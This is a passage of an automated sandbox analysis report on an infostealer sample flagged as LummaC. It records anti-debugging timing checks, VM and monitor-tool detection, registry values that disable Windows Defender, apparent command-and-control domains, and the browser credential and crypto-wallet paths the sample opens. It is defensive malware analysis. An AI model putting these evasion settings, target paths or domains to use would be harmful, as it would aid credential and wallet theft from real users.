Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8037B second address: 4A8037F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8037F second address: 4A80383 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80383 second address: 4A80389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A803C4 second address: 4A803CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A803CA second address: 4A803CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A803CE second address: 4A803E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edi, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A803E9 second address: 4A80401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F474h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80401 second address: 4A80461 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a jmp 00007F15447FC6B6h 0x0000000f test al, al 0x00000011 pushad 0x00000012 mov di, cx 0x00000015 jmp 00007F15447FC6AAh 0x0000001a popad 0x0000001b je 00007F15447FC8CCh 0x00000021 jmp 00007F15447FC6B0h 0x00000026 lea ecx, dword ptr [ebp-14h] 0x00000029 pushad 0x0000002a mov di, cx 0x0000002d call 00007F15447FC6AAh 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8048B second address: 4A80493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80493 second address: 4A80499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80499 second address: 4A80538 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F475h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F1544B5F46Eh 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F1544B5F471h 0x00000019 xor esi, 73DA1EE6h 0x0000001f jmp 00007F1544B5F471h 0x00000024 popfd 0x00000025 mov bx, ax 0x00000028 popad 0x00000029 nop 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F1544B5F46Fh 0x00000033 sub ecx, 78F4DA1Eh 0x00000039 jmp 00007F1544B5F479h 0x0000003e popfd 0x0000003f jmp 00007F1544B5F470h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80538 second address: 4A8053E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8053E second address: 4A80542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A805CF second address: 4A80678 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, CFh 0x00000005 mov esi, 7BC1245Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jg 00007F15B599A556h 0x00000013 jmp 00007F15447FC6B2h 0x00000018 js 00007F15447FC710h 0x0000001e jmp 00007F15447FC6B0h 0x00000023 cmp dword ptr [ebp-14h], edi 0x00000026 pushad 0x00000027 call 00007F15447FC6AEh 0x0000002c pushfd 0x0000002d jmp 00007F15447FC6B2h 0x00000032 or esi, 523EFE58h 0x00000038 jmp 00007F15447FC6ABh 0x0000003d popfd 0x0000003e pop ecx 0x0000003f push edx 0x00000040 push eax 0x00000041 pop edi 0x00000042 pop esi 0x00000043 popad 0x00000044 jne 00007F15B599A4FAh 0x0000004a jmp 00007F15447FC6B7h 0x0000004f mov ebx, dword ptr [ebp+08h] 0x00000052 pushad 0x00000053 mov edx, ecx 0x00000055 movzx ecx, di 0x00000058 popad 0x00000059 lea eax, dword ptr [ebp-2Ch] 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f mov dx, F08Ah 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80678 second address: 4A806BE instructions: 0x00000000 rdtsc 0x00000002 mov edx, 14EE8B56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F1544B5F477h 0x0000000f sub ah, FFFFFFDEh 0x00000012 jmp 00007F1544B5F479h 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A806BE second address: 4A806C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A806C2 second address: 4A806C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A806C8 second address: 4A806CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A806CE second address: 4A806D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A806D2 second address: 4A806FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F15447FC6ABh 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 pushad 0x00000014 mov ecx, 1C148211h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A806FA second address: 4A80744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 call 00007F1544B5F46Ch 0x0000000a pushfd 0x0000000b jmp 00007F1544B5F472h 0x00000010 sbb si, 8C98h 0x00000015 jmp 00007F1544B5F46Bh 0x0000001a popfd 0x0000001b pop ecx 0x0000001c popad 0x0000001d push ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F1544B5F46Eh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80744 second address: 4A80748 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80748 second address: 4A8074E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8074E second address: 4A80775 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 mov bh, CAh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F15447FC6B7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80775 second address: 4A807C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F479h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov edi, esi 0x0000000d mov si, 77EFh 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F1544B5F46Eh 0x0000001a adc ch, 00000018h 0x0000001d jmp 00007F1544B5F46Bh 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 mov di, ax 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8083B second address: 4A70EA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F15B599A4B1h 0x0000000f xor eax, eax 0x00000011 jmp 00007F15447D5DDAh 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e cmp eax, 00000000h 0x00000021 setne cl 0x00000024 xor ebx, ebx 0x00000026 test cl, 00000001h 0x00000029 jne 00007F15447FC6A7h 0x0000002b jmp 00007F15447FC81Bh 0x00000030 call 00007F15490A6798h 0x00000035 mov edi, edi 0x00000037 pushad 0x00000038 mov ecx, edx 0x0000003a pushfd 0x0000003b jmp 00007F15447FC6AFh 0x00000040 adc ax, 885Eh 0x00000045 jmp 00007F15447FC6B9h 0x0000004a popfd 0x0000004b popad 0x0000004c xchg eax, ebp 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F15447FC6B8h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70EA5 second address: 4A70EB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F46Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70EB4 second address: 4A70EBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70EBA second address: 4A70F20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F46Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F1544B5F479h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F1544B5F46Eh 0x00000017 mov ebp, esp 0x00000019 jmp 00007F1544B5F470h 0x0000001e xchg eax, ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F1544B5F477h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70F20 second address: 4A70F25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70F25 second address: 4A70F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, D5D8h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F1544B5F46Eh 0x00000011 xchg eax, ecx 0x00000012 jmp 00007F1544B5F470h 0x00000017 mov dword ptr [ebp-04h], 55534552h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70F5C second address: 4A70F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70F60 second address: 4A70F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70FA1 second address: 4A70FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70FA7 second address: 4A70FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70FAC second address: 4A70FC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, di 0x00000010 push edx 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1EEA55 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1EEAEA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1EEA5B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 38E726 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 38EBA3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 419461 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Special instruction interceptor: First address: 6EDBFC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Special instruction interceptor: First address: 8B8974 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Special instruction interceptor: First address: 9244F6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Memory allocated: 4C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Memory allocated: 4DB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Memory allocated: 6DB0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Code function: 4_2_00867241 rdtsc

4_2_00867241

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Code function: 4_2_0087BFAA sidt fword ptr [esp-02h]

4_2_0087BFAA

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7480	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe TID: 7984	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: file.exe, 00000000.00000002.1950456739.0000000000372000.00000040.00000001.01000000.00000003.sdmp, T4SWNFFH9VCKTA3D54ZZ0K.exe, T4SWNFFH9VCKTA3D54ZZ0K.exe, 00000004.00000002.2110383659.000000000086F000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1952821188.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1865170997.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1865485576.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952821188.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947207859.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947207859.0000000000A52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1952490232.00000000009DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: file.exe, 00000000.00000002.1950456739.0000000000372000.00000040.00000001.01000000.00000003.sdmp, T4SWNFFH9VCKTA3D54ZZ0K.exe, 00000004.00000002.2110383659.000000000086F000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Code function: 4_2_00867241 rdtsc

4_2_00867241

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Code function: 4_2_006EB81A LdrInitializeThunk,

4_2_006EB81A

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: presticitpo.store

Source: T4SWNFFH9VCKTA3D54ZZ0K.exe, 00000004.00000002.2110747959.00000000008C3000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.1951056493.00000000003B5000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ad9Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.1865170997.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1865343973.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1865343973.0000000000A9C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7348, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1745890710.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectrumB/AXY
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.1745890710.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.jsonno+C?
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.1745890710.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\EthereumoaU
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
